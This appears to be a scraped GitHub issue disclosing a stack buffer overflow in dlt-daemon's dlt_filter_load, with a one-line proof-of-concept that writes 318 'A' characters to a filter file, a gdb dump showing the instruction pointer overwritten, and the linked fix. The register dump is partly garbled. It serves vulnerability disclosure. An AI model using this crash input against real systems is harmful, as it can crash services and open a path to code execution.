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## stack buffer overflow in dlt\_filter\_load #274



⊙ Closed gy741 opened this issue on Nov 27, 2020 · 0 comments · Fixed by #275 Contributor gy741 commented on Nov 27, 2020 Summary An exploitable buffer overflow vulnerability exists in the dlt-daemon, A specially crafted Filter file can cause a buffer overflow, resulting in multiple corruptions and potentially code execution. An attacker can provide a specially crafted file to trigger this vulnerability. **Details** A buffer overflow in the dlt\_filter\_load function in dlt\_common.c in dlt-daemon allows arbitrary code execution via an unsafe usage of fscanf, because it does not limit the number of characters to be read in a format argument Affected 1. dlt-receive 2. dlt-sortbytimestamp 3. dlt-convert PoC python -c 'print "A"\*318' > poc.txt (gdb) r -f poc.txt localhost Program received signal SIGSEGV, Segmentation fault. 0x0000414141414141 in ?? () (gdb) i r 0x4141414141414141 4702111234474983745 rcx 0x615280 6378112 0x7ffff7fea4c0 140737354048704 rsi rdi rbp 0x626118 6447384 0x7ffff7dcdfb8 140737351835576 0x41414141414141 0x414141 0x4141414141414141 0x7fffffffe130 0x7fffffffe130 0x7ffffffe9b80 140737354046336 0xfffffffffffffe 0x6 6 0x206 518

r9 r10 r11 r12 r13 0x4141414141414141 0x4141414141414141 4702111234474983745 0x4141414141414141 4702111234474983745 0x4141414141414141 470211: 0x4141414141411 0x41414141411 0x10202 [ IF RF ] 0x33 51 r15 rip 4702111234474983745 eflags cs ss 0x33 0x2b 43

ava fs 0x0 gs (gdb) x/x \$rip 0x0

0x4141414141: Cannot access memory at address 0x414141414141

gy741 added a commit to gy741/dlt-daemon that referenced this issue on Nov 27, 2020

fit\_common: Fix buffer overflow in dlt\_filter\_load ...

7f5cd54

gy741 mentioned this issue on Nov 27, 2020

dlt\_common: Fix buffer overflow in dlt\_filter\_load #275

Merged
Me

ssugiura closed this as completed in #275 on Nov 29, 2020

ssugiura pushed a commit that referenced this issue on Nov 29, 2020

dlt\_common: Fix buffer overflow in dlt\_filter\_load (#275) ...

✓ ff4f44c

No one assigned

None yet
Projects
None yet
Milestone
No milestone
Development
Successfully merging a pull request may close this issue.

1 participant

